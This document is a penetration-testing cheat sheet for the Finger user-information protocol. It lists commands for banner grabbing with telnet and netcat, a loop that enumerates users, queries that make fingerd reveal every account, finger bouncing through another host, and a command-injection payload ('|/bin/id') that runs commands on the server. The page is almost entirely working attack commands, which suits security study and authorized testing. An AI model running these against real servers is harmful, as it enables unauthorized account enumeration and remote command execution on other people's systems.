Finger (User Information Protocol) #

At a Glance #

The Finger User Information Protocol (RFC 1288), is a simple protocol that provides an interface to a remote user information program (RUIP). ¹

Banner Grabbing #

Telnet #

telnet 10.0.0.3 79

Netcat #

echo "root" | nc -n 10.0.0.3 79

Enumeration #

Tools #

• PentestMonkey - finger-user-enum

Fast Enum #

for q in 'root' 'admin' 'user' '0' "'a b c d e f g h'" '|/bin/id';do echo "FINGER: $q"; finger "$q@10.0.0.3"; echo -e "\n";done

Finger ² #

List logged users.

finger @10.0.0.3

Finger a specific user.

finger -l root@10.0.0.3

Enumerate users containing user.

finger -l user@10.0.0.3

Finger Zero ³ #

fingerd may respond to finger 0@<host> with information on some user accounts.

finger 0@10.0.0.3

Finger ‘a b c d e f g h’ ⁴ #

fingerd may respond to 'a b c d e f g h'@<host> with information on all accounts.

finger 'a b c d e f g h'@10.0.0.3

Finger Bouncing ⁵ #

finger can be used to relay a request to a different host as if it were sent from that machine.

finger @10.0.0.3@10.10.10.4

finger root@10.0.0.3@10.10.10.4

Command Execution ⁶ #

fingerd allows remote command execution through shell metacharacters.

finger "|/bin/id@10.0.0.3"

Finger Exploits Search #

Refer to Exploits Search